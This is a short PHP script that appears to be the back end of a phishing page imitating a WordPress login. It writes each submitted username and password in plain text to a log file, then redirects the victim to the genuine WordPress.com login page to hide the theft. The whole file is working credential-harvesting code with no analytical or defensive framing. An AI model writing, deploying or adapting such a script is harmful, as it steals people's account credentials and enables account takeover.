1<?php 2 3 file_put_contents("log.txt", "Username: " . $_POST['log'] . " Pass: " . $_POST['pwd'] . "\n", FILE_APPEND); 4header('Location: https://wordpress.com/log-in'); 5exit(); 6 7 8